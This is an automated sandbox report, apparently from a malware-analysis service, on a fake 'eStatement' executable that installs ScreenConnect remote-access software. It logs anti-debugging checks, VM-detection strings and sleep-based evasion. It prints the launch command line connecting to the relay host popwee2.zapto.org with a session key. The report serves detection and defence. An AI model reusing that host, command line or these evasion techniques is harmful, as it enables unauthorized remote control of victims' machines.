Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Windows.dll	Jump to dropped file

Found large amount of non-executed APIs

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe

API coverage: 3.1 %

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe TID: 6132	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 5732	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4092	Thread sleep time: -151950s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4092	Thread sleep time: -280150s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 5732	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5296	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5296	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe TID: 7460	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe TID: 7504	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Queries disk information (often used to detect virtual machines)

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_00F24A4B FindFirstFileExA,

0_2_00F24A4B

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dfsvc.exe, 00000001.00000002.3177545267.000001E8CDF28000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3173633903.000001E8CC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2920588431.0000019A7EE57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3156571081.000002094E4CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: svchost.exe, 00000005.00000002.3154598845.000002240C02B000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.3154078820.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: svchost.exe, 00000004.00000002.2920033550.0000019A7D82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: svchost.exe, 0000000E.00000002.3155699966.000002094E483000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: dfsvc.exe, 00000001.00000002.3177545267.000001E8CDF28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: Amcache.hve.13.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process queried: DebugPort			Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_00F24573 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00F24573

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

0_2_00F21000

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_00F23677 mov eax, dword ptr fs:[00000030h]

0_2_00F23677

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_00F26893 GetProcessHeap,

0_2_00F26893

Enables debug privileges

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process token adjusted: Debug			Jump to behavior

Launches processes in debugging mode, may be used to hinder debugging

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"

Jump to behavior

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_00F21493 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00F21493
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_00F24573 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00F24573
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_00F2191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00F2191F
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_00F21AAC SetUnhandledExceptionFilter,	0_2_00F21AAC

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: ScreenConnect.ClientService.dll.1.dr, ClientService.cs	Reference to suspicious API methods: WindowsExtensions.OpenProcess(processID, (ProcessAccess)33554432)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT \| WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7160 -ip 7160
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 332

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\rh07btxr.ry4\8448b9tm.6zz\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\screenconnect.clientservice.exe" "?e=support&y=guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=newboom%20session" "1"
Source: unknown	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\rh07btxr.ry4\8448b9tm.6zz\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\screenconnect.clientservice.exe" "?e=support&y=guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=newboom%20session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\rh07btxr.ry4\8448b9tm.6zz\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\screenconnect.clientservice.exe" "?e=support&y=guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=newboom%20session" "1"	Jump to behavior

Source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1558755338.0000000000E12000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr	Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1558755338.0000000000E12000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr	Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass

Language, Device and Operating System Detection

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_00F21BD4 cpuid

0_2_00F21BD4

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsBackstageShell.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsFileManager.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsFileManager.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
